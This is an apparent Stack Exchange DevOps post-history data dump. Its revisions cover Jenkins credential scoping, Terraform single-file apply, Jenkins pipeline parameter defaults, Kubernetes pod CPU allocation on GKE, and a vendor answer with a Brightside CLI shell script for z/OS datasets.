  <row Id="13448" PostHistoryTypeId="5" PostId="2899" RevisionGUID="8e2f4039-80c0-4a98-bac9-2a5df6190b20" CreationDate="2018-06-12T18:14:38.313" UserId="7917" Comment="Copy edited (e.g. ref. &lt;http://en.wikipedia.org/wiki/Representational_State_Transfer&gt; and &lt;http://en.wikipedia.org/wiki/Application_programming_interface&gt;)." Text="It turns out there is no existing solution for such a configuration.&#xD;&#xA;&#xD;&#xA;I have to develop something on my own.&#xD;&#xA;&#xD;&#xA;A nice source for help might be a series of articles on [the Amazon developer blog][1] and [REST API documentation][2] for the Amazon API gateway service.&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/developer/serverless-service-discovery-part-1-get-started/&#xD;&#xA;  [2]: http://docs.aws.amazon.com/cli/latest/reference/apigateway/create-rest-api.html&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13449" PostHistoryTypeId="24" PostId="2899" RevisionGUID="8e2f4039-80c0-4a98-bac9-2a5df6190b20" CreationDate="2018-06-12T18:14:38.313" Comment="Proposed by 7917 approved by 47, 40 edit id of 715" ContentLicense="CC BY-SA 4.0" />
  <row Id="13460" PostHistoryTypeId="2" PostId="4290" RevisionGUID="b5cf66ec-8cdf-487f-97b9-69c1da922d2b" CreationDate="2018-06-12T22:04:50.443" UserId="8070" Text="I'd like to allow all of our organization's users to create new pipelines in Jenkins, via Blue Ocean...&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/SZxTT.png&#xD;&#xA;&#xD;&#xA;This requires a Github access token, meaning I have to either require each user to use their own access token, or share the contents of an access token with all users.&#xD;&#xA;&#xD;&#xA;The first option seems inconvenient. The second option is a security risk,  and we'd have to change our token any time someone left the organization.&#xD;&#xA;&#xD;&#xA;I was hoping to find a way to add a credential to Jenkins and scope it so that all users have access to it, so the above New Pipeline flow would use that cred rather than querying the user to input a token.&#xD;&#xA;&#xD;&#xA;I created a token with Global (rather than System) scope, but new users are still asked to input a token when they go to add a pipeline.&#xD;&#xA;&#xD;&#xA;Is there a good solution for this? Do most organizations rely on individual developers to use their personal access tokens?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13461" PostHistoryTypeId="1" PostId="4290" RevisionGUID="b5cf66ec-8cdf-487f-97b9-69c1da922d2b" CreationDate="2018-06-12T22:04:50.443" UserId="8070" Text="Jenkins: make a credential available to all users" ContentLicense="CC BY-SA 4.0" />
  <row Id="13462" PostHistoryTypeId="3" PostId="4290" RevisionGUID="b5cf66ec-8cdf-487f-97b9-69c1da922d2b" CreationDate="2018-06-12T22:04:50.443" UserId="8070" Text="&lt;jenkins&gt;&lt;secret-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13463" PostHistoryTypeId="50" PostId="1654" RevisionGUID="06deca70-b67c-48f1-8677-62ae52ef25b4" CreationDate="2018-06-13T03:01:04.617" UserId="-1" />
  <row Id="13467" PostHistoryTypeId="2" PostId="4292" RevisionGUID="af9e616d-9891-4d8c-8353-25bca588ac9e" CreationDate="2018-06-13T07:40:50.043" UserId="4613" Text="I have my security groups in a `securitygroup.tf` file.&#xD;&#xA;&#xD;&#xA;In the same dir there are plenty of other resource descriptions (rds, ec2 etc).&#xD;&#xA;&#xD;&#xA;Is there a way to perform a `terraform apply --auto-approve` __only__ for my `securitygroups.tf`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13468" PostHistoryTypeId="1" PostId="4292" RevisionGUID="af9e616d-9891-4d8c-8353-25bca588ac9e" CreationDate="2018-06-13T07:40:50.043" UserId="4613" Text="Terraform: apply only one tf file" ContentLicense="CC BY-SA 4.0" />
  <row Id="13469" PostHistoryTypeId="3" PostId="4292" RevisionGUID="af9e616d-9891-4d8c-8353-25bca588ac9e" CreationDate="2018-06-13T07:40:50.043" UserId="4613" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13472" PostHistoryTypeId="2" PostId="4293" RevisionGUID="8c4a418f-0429-4a21-85fb-1c8628833063" CreationDate="2018-06-13T11:41:27.753" UserId="8189" Text="An Issue I have been struggling with is whenever I add a new parameter to a Jenkins Pipeline, the next job will not correctly get this parameter.&#xD;&#xA;This is especially an issue if those parameters are required for certain pipeline procedures like determining agent.&#xD;&#xA;This issue is further frustrating because on a job that already exists, when the default parameter is changed the new job will still use the old one; but when creating a new job it will take none. &#xD;&#xA;&#xD;&#xA;In order to solve the parameter issue from the first run of a job, and also to solve the parameter for changes to the parameters for jobs that already ran we need a solution. (At the moment, I have a workaround, which I am posting as an answer, but I would like to know if there is a better solution)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13473" PostHistoryTypeId="1" PostId="4293" RevisionGUID="8c4a418f-0429-4a21-85fb-1c8628833063" CreationDate="2018-06-13T11:41:27.753" UserId="8189" Text="How not to break Jenkins Pipeline when adding new parameters (declarative pipeline)" ContentLicense="CC BY-SA 4.0" />
  <row Id="13474" PostHistoryTypeId="3" PostId="4293" RevisionGUID="8c4a418f-0429-4a21-85fb-1c8628833063" CreationDate="2018-06-13T11:41:27.753" UserId="8189" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13475" PostHistoryTypeId="2" PostId="4294" RevisionGUID="6556a134-28d4-4e69-a905-d31d06098d10" CreationDate="2018-06-13T11:41:27.753" UserId="8189" Text="Here is a solution which seems almost like a workaround that I have found which works for declarative pipelines.&#xD;&#xA;&#xD;&#xA;First, we need to add some code at the start of our file before we enter into the `pipeline{}` section. The code we add will run before the pipeline section, and will check if the env/param exists, and if it does will take the value, otherwise we will give it a default and assign that to a variable that we can access during the pipeline. Then we need to change our pipeline code references from the parameter to the variable. &#xD;&#xA;&#xD;&#xA;Below is a sample that defines an arbitrary parameter, and also an agent label to be used. As you can see, the variables can be used during stages and also during procedures such as determining the agent.&#xD;&#xA;&#xD;&#xA;    def MY_VARIABLE = null&#xD;&#xA;    if (env.my_parameter) {&#xD;&#xA;      MY_VARIABLE = env.my_parameter&#xD;&#xA;    } else {&#xD;&#xA;      MY_VARIABLE = &quot;my default value&quot;&#xD;&#xA;    }&#xD;&#xA;    echo &quot;MY VARIABLE IS SET: ${MY_VARIABLE}&quot;&#xD;&#xA;    &#xD;&#xA;    def MY_AGENT = null&#xD;&#xA;    if (env.my_agent) {&#xD;&#xA;      MY_AGENT = env.my_agent&#xD;&#xA;    } else {&#xD;&#xA;      MY_AGENT = &quot;agent_label&quot;&#xD;&#xA;    }&#xD;&#xA;    echo &quot;MY AGENT IS SET: ${MY_AGENT}&quot;&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        parameters {&#xD;&#xA;            string(defaultValue: &quot;my default value&quot;, description: 'This is my parameter', name: 'my_parameter') ;&#xD;&#xA;            string(defaultValue: &quot;agent_label&quot;, description: 'This is my agent label', name: 'my_agent') ;&#xD;&#xA;        }&#xD;&#xA;        agent {&#xD;&#xA;          label &quot;${MY_AGENT}&quot;&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage('my stage') {&#xD;&#xA;                steps {&#xD;&#xA;                    sh 'echo ${MY_VARIABLE}'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    	}&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="13476" PostHistoryTypeId="2" PostId="4295" RevisionGUID="659c9ca6-8571-40bd-b7d2-01795142f7f9" CreationDate="2018-06-13T13:10:29.160" UserId="5674" Text="Doesn't look like it's possible. [Here is the code][1] to load config files and it loads all *.tf files from current directory (or a specified one) and there is nothing there to limit the configuration to a single file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/hashicorp/terraform/blob/master/config/import_tree.go" ContentLicense="CC BY-SA 4.0" />
  <row Id="13477" PostHistoryTypeId="2" PostId="4296" RevisionGUID="eebcb427-6cd6-4439-9607-a0e0d0f6518a" CreationDate="2018-06-13T13:13:16.473" UserId="8189" Text="I have a Kubernetes Cluster on GCE (Google Cloud Engine) (Also called GKE - Google Kubernetes Engine). &#xD;&#xA;&#xD;&#xA;The Cluster is configured to have **4cpu** per node. The pods I am using request **2cpu**. I expect to be able to have **2 pods per node**. But instead each time I launch a new pod, it also provisions a new node (am *only* getting **1 pod per node**).&#xD;&#xA;&#xD;&#xA;What is happening, How can I more efficiently use my resources? (I don't want to pay for nodes that are under-utilized)&#xD;&#xA;&#xD;&#xA;Node:&#xD;&#xA;&gt; Machine type	&#xD;&#xA;n1-highcpu-4 (4 vCPUs, 3.6 GB memory)&#xD;&#xA;&#xD;&#xA;Pod (Yaml):&#xD;&#xA;&#xD;&#xA;    resources:&#xD;&#xA;      limits:&#xD;&#xA;        cpu: &quot;2&quot;&#xD;&#xA;        memory: 1000Mi&#xD;&#xA;      requests:&#xD;&#xA;        cpu: &quot;2&quot;&#xD;&#xA;        memory: 1000Mi" ContentLicense="CC BY-SA 4.0" />
  <row Id="13478" PostHistoryTypeId="1" PostId="4296" RevisionGUID="eebcb427-6cd6-4439-9607-a0e0d0f6518a" CreationDate="2018-06-13T13:13:16.473" UserId="8189" Text="kubernetes cluster node with 4cpu can't hold two pods with 2cpu" ContentLicense="CC BY-SA 4.0" />
  <row Id="13479" PostHistoryTypeId="3" PostId="4296" RevisionGUID="eebcb427-6cd6-4439-9607-a0e0d0f6518a" CreationDate="2018-06-13T13:13:16.473" UserId="8189" Text="&lt;kubernetes&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13480" PostHistoryTypeId="5" PostId="4296" RevisionGUID="c9122b29-e744-4ffe-af80-6a7edfc719e0" CreationDate="2018-06-13T14:47:47.747" UserId="8189" Comment="added 907 characters in body" Text="I have a Kubernetes Cluster on GCE (Google Cloud Engine) (Also called GKE - Google Kubernetes Engine). &#xD;&#xA;&#xD;&#xA;The Cluster is configured to have **4cpu** per node. The pods I am using request **2cpu**. I expect to be able to have **2 pods per node**. But instead each time I launch a new pod, it also provisions a new node (am *only* getting **1 pod per node**).&#xD;&#xA;&#xD;&#xA;What is happening, How can I more efficiently use my resources? (I don't want to pay for nodes that are under-utilized)&#xD;&#xA;&#xD;&#xA;Node:&#xD;&#xA;&gt; Machine type	&#xD;&#xA;n1-highcpu-4 (4 vCPUs, 3.6 GB memory)&#xD;&#xA;&#xD;&#xA;Pod (Yaml):&#xD;&#xA;&#xD;&#xA;    resources:&#xD;&#xA;      limits:&#xD;&#xA;        cpu: &quot;2&quot;&#xD;&#xA;        memory: 1000Mi&#xD;&#xA;      requests:&#xD;&#xA;        cpu: &quot;2&quot;&#xD;&#xA;        memory: 1000Mi&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;As mentioned below in the comments; it seems there are some 'default' pods that run on the node which utilize some small amount of CPU. For me there were two service pods taking up 100mcpu each. Additionally it seems there is a small overhead regardless of those small pods when viewing my node resources I see:&#xD;&#xA;&#xD;&#xA;    Resource type   Capacity   Allocatable	 &#xD;&#xA;    CPU             4 CPU      3.92 CPU&#xD;&#xA;&#xD;&#xA;This means that each node in my cluster will only have 3.72 CPU that I can distribute to my pods. (3.92 allocatable, - 100m CPU per service pod (x2) = 3.72)&#xD;&#xA;&#xD;&#xA;**Knowing this, I can understand why my desired deployment will not work.** &#xD;&#xA;&#xD;&#xA;However, now this raises new questions; How can I most efficiently allocate pods that need 2cpu. Since GCE only lets me provision nodes with even numbers of cpu (2,4,6,etc) I will always have almost 2 wasted CPU. Is there a better solution?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13481" PostHistoryTypeId="5" PostId="4286" RevisionGUID="8f855fe5-0732-40cf-b0a8-c54e679340cd" CreationDate="2018-06-13T14:57:20.153" UserId="8291" Comment="added 2287 characters in body" Text="In general, there are two ways to automate actions from Jenkins:&#xD;&#xA;&#xD;&#xA; 1. Install a plugin for Jenkins and use it in steps to automate tasks.&#xD;&#xA; 2. Write a script (shell, python, other) and call it from a step to automate tasks.&#xD;&#xA;&#xD;&#xA;There are drawbacks / benefits to both approaches. While #1 - the plugin approach - gives you out of the box functionality and does not require you to script, it may be rigid and limited in its abilities. #2 - the scripting approach - requires you to write scripts, as well as maintain them, but may provide much more flexibiity and freedom in automating things.&#xD;&#xA;&#xD;&#xA;The scripting approach generally uses a lot of CLIs - aws cli, docker cli, etc. &#xD;&#xA;&#xD;&#xA;If #2 - the scripting approach - is viable and you're comfortable with writing shell scripts or other scripts like python to interact with the mainframe, then Brightside can help.&#xD;&#xA;&#xD;&#xA;Here's an example of using Brightside (free CLI) to interact with PDS on z/OS from a shell script:&#xD;&#xA;&#xD;&#xA;        #!/bin/sh&#xD;&#xA;        echo 'bright files create classic &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files create classic &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files download all-members &quot;BAUMI07.LIB.SAMP&quot; -d MyPDS'&#xD;&#xA;        bright files download all-members &quot;BAUMI07.LIB.SAMP&quot; -d MyPDS&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files upload dir-to-pds MyPDS &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files upload dir-to-pds MyPDS &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;&#xD;&#xA;Here's the output from that script:&#xD;&#xA;[![Output from script part 1][1]][1]&#xD;&#xA;[![Output from script part 2][2]][2]&#xD;&#xA;&#xD;&#xA;Easy enough to call these scripts from Jenkins.&#xD;&#xA;&#xD;&#xA;&lt;https://www.ca.com/us/trials/ca-brightside.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/aCZxu.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/K4hMr.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13482" PostHistoryTypeId="5" PostId="4296" RevisionGUID="002b76f5-fbd8-4b6f-88d6-e68b53310ca5" CreationDate="2018-06-13T15:02:07.403" UserId="8189" Comment="added 501 characters in body" Text="I have a Kubernetes Cluster on GCE (Google Cloud Engine) (Also called GKE - Google Kubernetes Engine). &#xD;&#xA;&#xD;&#xA;The Cluster is configured to have **4cpu** per node. The pods I am using request **2cpu**. I expect to be able to have **2 pods per node**. But instead each time I launch a new pod, it also provisions a new node (am *only* getting **1 pod per node**).&#xD;&#xA;&#xD;&#xA;What is happening, How can I more efficiently use my resources? (I don't want to pay for nodes that are under-utilized)&#xD;&#xA;&#xD;&#xA;Node:&#xD;&#xA;&gt; Machine type	&#xD;&#xA;n1-highcpu-4 (4 vCPUs, 3.6 GB memory)&#xD;&#xA;&#xD;&#xA;Pod (Yaml):&#xD;&#xA;&#xD;&#xA;    resources:&#xD;&#xA;      limits:&#xD;&#xA;        cpu: &quot;2&quot;&#xD;&#xA;        memory: 1000Mi&#xD;&#xA;      requests:&#xD;&#xA;        cpu: &quot;2&quot;&#xD;&#xA;        memory: 1000Mi&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;As mentioned below in the comments; it seems there are some 'default' pods that run on the node which utilize some small amount of CPU. For me there were two service pods taking up 100mcpu each. Additionally it seems there is a small overhead regardless of those small pods when viewing my node resources I see:&#xD;&#xA;&#xD;&#xA;    Resource type   Capacity   Allocatable	 &#xD;&#xA;    CPU             4 CPU      3.92 CPU&#xD;&#xA;&#xD;&#xA;This means that each node in my cluster will only have 3.72 CPU that I can distribute to my pods. (3.92 allocatable, - 100m CPU per service pod (x2) = 3.72)&#xD;&#xA;&#xD;&#xA;**Knowing this, I can understand why my desired deployment will not work.** &#xD;&#xA;&#xD;&#xA;However, now this raises new questions; How can I most efficiently allocate pods that need 2cpu. Since GCE only lets me provision nodes with even numbers of cpu (2,4,6,etc) I will always have almost 2 wasted CPU. Is there a better solution?&#xD;&#xA;&#xD;&#xA;**EDIT2:**&#xD;&#xA;&#xD;&#xA;Settings my pods to use 1.8 CPU allowed me to deploy 2 pods per node. (and for now is good enough)&#xD;&#xA;It would be desirable to be able to anticipate the overhead on nodes. For example, in my use-case above, allocating 4CPU per node, I should be able to know ahead of time that after the service pods and allocatable CPU are considered I will only be able to use 3.72 for my own pods. But if I now want to provision a new Node with 8CPU I will need to check these numbers all over again. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13483" PostHistoryTypeId="5" PostId="4286" RevisionGUID="712be342-0430-440e-b827-19abde631282" CreationDate="2018-06-13T15:38:56.373" UserId="8291" Comment="added 61 characters in body" Text="In general, there are two ways to automate actions from Jenkins:&#xD;&#xA;&#xD;&#xA; 1. Install a plugin for Jenkins and use it in steps to automate tasks.&#xD;&#xA; 2. Write a script (shell, python, other) and call it from a step to automate tasks.&#xD;&#xA;&#xD;&#xA;There are drawbacks / benefits to both approaches. While #1 - the plugin approach - gives you out of the box functionality and does not require you to script, it may be rigid and limited in its abilities. #2 - the scripting approach - requires you to write scripts, as well as maintain them, but may provide much more flexibiity and freedom in automating things.&#xD;&#xA;&#xD;&#xA;The scripting approach generally uses a lot of CLIs - aws cli, docker cli, etc. &#xD;&#xA;&#xD;&#xA;If #2 - the scripting approach - is viable and you're comfortable with writing shell scripts or other scripts like python to interact with the mainframe, then Brightside can help.&#xD;&#xA;&#xD;&#xA;Here's an example of using [Brightside (free CLI)][1] to interact with PDS on z/OS from a shell script:&#xD;&#xA;&#xD;&#xA;        #!/bin/sh&#xD;&#xA;        echo 'bright files create classic &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files create classic &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files download all-members &quot;BAUMI07.LIB.SAMP&quot; -d MyPDS'&#xD;&#xA;        bright files download all-members &quot;BAUMI07.LIB.SAMP&quot; -d MyPDS&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files upload dir-to-pds MyPDS &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files upload dir-to-pds MyPDS &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;&#xD;&#xA;Here's the output from that script:&#xD;&#xA;[![Output from script part 1][2]][2]&#xD;&#xA;[![Output from script part 2][3]][3]&#xD;&#xA;&#xD;&#xA;Easy enough to call these scripts from Jenkins.&#xD;&#xA;&#xD;&#xA;&lt;https://www.ca.com/us/trials/ca-brightside.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ca.com/us/trials/ca-brightside.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/aCZxu.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/K4hMr.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13484" PostHistoryTypeId="5" PostId="4286" RevisionGUID="5755d2d4-ad6b-47e3-8665-255c35310eda" CreationDate="2018-06-13T15:58:54.927" UserId="8291" Comment="added 177 characters in body" Text="In general, there are two ways to automate actions from Jenkins:&#xD;&#xA;&#xD;&#xA; 1. Install a plugin for Jenkins and use it in steps to automate tasks.&#xD;&#xA; 2. Write a script (shell, python, other) and call it from a step to automate tasks.&#xD;&#xA;&#xD;&#xA;There are drawbacks / benefits to both approaches. While #1 - the plugin approach - gives you out of the box functionality and does not require you to script, it may be rigid and limited in its abilities. #2 - the scripting approach - requires you to write scripts, as well as maintain them, but may provide much more flexibiity and freedom in automating things.&#xD;&#xA;&#xD;&#xA;The scripting approach generally uses a lot of CLIs - aws cli, docker cli, etc. &#xD;&#xA;&#xD;&#xA;If #2 - the scripting approach - is viable and you're comfortable with writing shell scripts or other scripts like python to interact with the mainframe, then Brightside can help. &#xD;&#xA;&#xD;&#xA;Here's an example of using [Brightside (free CLI)][1] to interact with PDS on z/OS from a shell script:&#xD;&#xA;&#xD;&#xA;        #!/bin/sh&#xD;&#xA;        echo 'bright files create classic &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files create classic &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files download all-members &quot;BAUMI07.LIB.SAMP&quot; -d MyPDS'&#xD;&#xA;        bright files download all-members &quot;BAUMI07.LIB.SAMP&quot; -d MyPDS&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files upload dir-to-pds MyPDS &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files upload dir-to-pds MyPDS &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;BAUMI07.PUBLIC.SAMPLE.PDS&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;&#xD;&#xA;Here's the output from that script:&#xD;&#xA;[![Output from script part 1][2]][2]&#xD;&#xA;[![Output from script part 2][3]][3]&#xD;&#xA;&#xD;&#xA;Easy enough to call these scripts from Jenkins.&#xD;&#xA;&#xD;&#xA;Full disclosure: I work for CA who created Brightside but we do use this CLI internally for the exact purpose of integrating our mainframe application testing with Jenkins.&#xD;&#xA;&#xD;&#xA;&lt;https://www.ca.com/us/trials/ca-brightside.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ca.com/us/trials/ca-brightside.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/aCZxu.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/K4hMr.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13485" PostHistoryTypeId="5" PostId="4286" RevisionGUID="279329c9-aca8-485d-96f6-95fbce694fd9" CreationDate="2018-06-13T16:21:02.873" UserId="8291" Comment="deleted 42 characters in body" Text="In general, there are two ways to automate actions from Jenkins:&#xD;&#xA;&#xD;&#xA; 1. Install a plugin for Jenkins and use it in steps to automate tasks.&#xD;&#xA; 2. Write a script (shell, python, other) and call it from a step to automate tasks.&#xD;&#xA;&#xD;&#xA;There are drawbacks / benefits to both approaches. While #1 - the plugin approach - gives you out of the box functionality and does not require you to script, it may be rigid and limited in its abilities. #2 - the scripting approach - requires you to write scripts, as well as maintain them, but may provide much more flexibiity and freedom in automating things.&#xD;&#xA;&#xD;&#xA;The scripting approach generally uses a lot of CLIs - aws cli, docker cli, etc. &#xD;&#xA;&#xD;&#xA;If #2 - the scripting approach - is viable and you're comfortable with writing shell scripts or other scripts like python to interact with the mainframe, then Brightside can help. &#xD;&#xA;&#xD;&#xA;Here's an example of using [Brightside (free CLI)][1] to interact with PDS on z/OS from a shell script:&#xD;&#xA;&#xD;&#xA;        #!/bin/sh&#xD;&#xA;        echo 'bright files create classic &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files create classic &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files download all-members &quot;USER.LIB.SAMP&quot; -d MyPDS'&#xD;&#xA;        bright files download all-members &quot;USER.LIB.SAMP&quot; -d MyPDS&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files upload dir-to-pds MyPDS &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files upload dir-to-pds MyPDS &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS(ALLOCLIB)&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;'&#xD;&#xA;        bright files list all-members &quot;USER.PUBLIC.SAMPLE.PDS&quot;&#xD;&#xA;        echo ''&#xD;&#xA;        &#xD;&#xA;        echo 'bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS&quot; -f'&#xD;&#xA;        bright files delete data-set &quot;USER.PUBLIC.SAMPLE.PDS&quot; -f&#xD;&#xA;        echo ''&#xD;&#xA;&#xD;&#xA;Here's the output from that script:&#xD;&#xA;&#xD;&#xA;[![Output from script part 1][4]][4]&#xD;&#xA;[![Output from script part 2][5]][5]&#xD;&#xA;&#xD;&#xA;Easy enough to call these scripts from Jenkins and parse the output for whatever purpose.&#xD;&#xA;&#xD;&#xA;Full disclosure: I work for CA who created Brightside but we do use this CLI internally for the exact purpose of integrating our mainframe application testing with Jenkins.&#xD;&#xA;&#xD;&#xA;&lt;https://www.ca.com/us/trials/ca-brightside.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ca.com/us/trials/ca-brightside.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/aCZxu.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/K4hMr.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/aTjO7.jpg&#xD;&#xA;  [5]: https://i.stack.imgur.com/wGfqi.jpg" ContentLicense="CC BY-SA 4.0" />
